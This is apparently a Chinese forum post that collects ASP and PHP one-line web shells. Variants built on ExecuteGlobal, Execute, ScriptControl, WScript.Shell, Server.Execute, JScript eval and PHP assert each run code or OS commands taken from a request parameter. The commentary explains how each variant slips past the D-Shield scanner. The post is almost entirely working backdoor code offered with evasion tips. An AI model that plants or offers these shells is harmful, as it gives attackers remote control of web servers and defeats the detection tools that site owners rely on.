<%
ExecuteGlobal(Request("test"))
%>
ExecuteGlobal D盾无提示
不提示一句话，只提示Execute：
<%Execute(Request.Form("test"))%>
<%
Dim o
o=Request("test")
Execute o
%>
无耻的办法之一（利用了ExecuteGlobal。当然，用Execute也不会提示一句话）：
<%
ExecuteGlobal "E"&"X"&"E"&"C"&"U"&"T"&"E"&" "&"Request(""test"")"
%>
无耻的办法之二（同上）：
<%
Dim o
Set o=Request
ExecuteGlobal(o("test"))
%>
无耻的办法之三：
<%
Dim o
o=Request("test")
Dim Script
Set Script=CreateObject("ScriptControl")
Script.language = "VBScript"
Script.AddCode o
Script.Run
%>
虽然玩不了ASP对象 不过那些FSO ADO啥还是能执行的
最无耻的办法之四（调用一个已经存在的exe）：
Dim s
Set s=CreateObject("wscript.shell")
s.Exec Request("test")
最无耻的办法之五（动态调用一个asp文件）
<%
Server.Execute Request("test")
%>
接着<script runat="server">直接无视掉
<script language="javascript" runat="server">
//runat直接过查杀,这里写成vbscript也能过
eval(Request("test").Item);
</script>
<?php
$a[]="assert";
$a[$_GET['a']]($_POST['c']);
?>
哈哈 我有
页:
[1]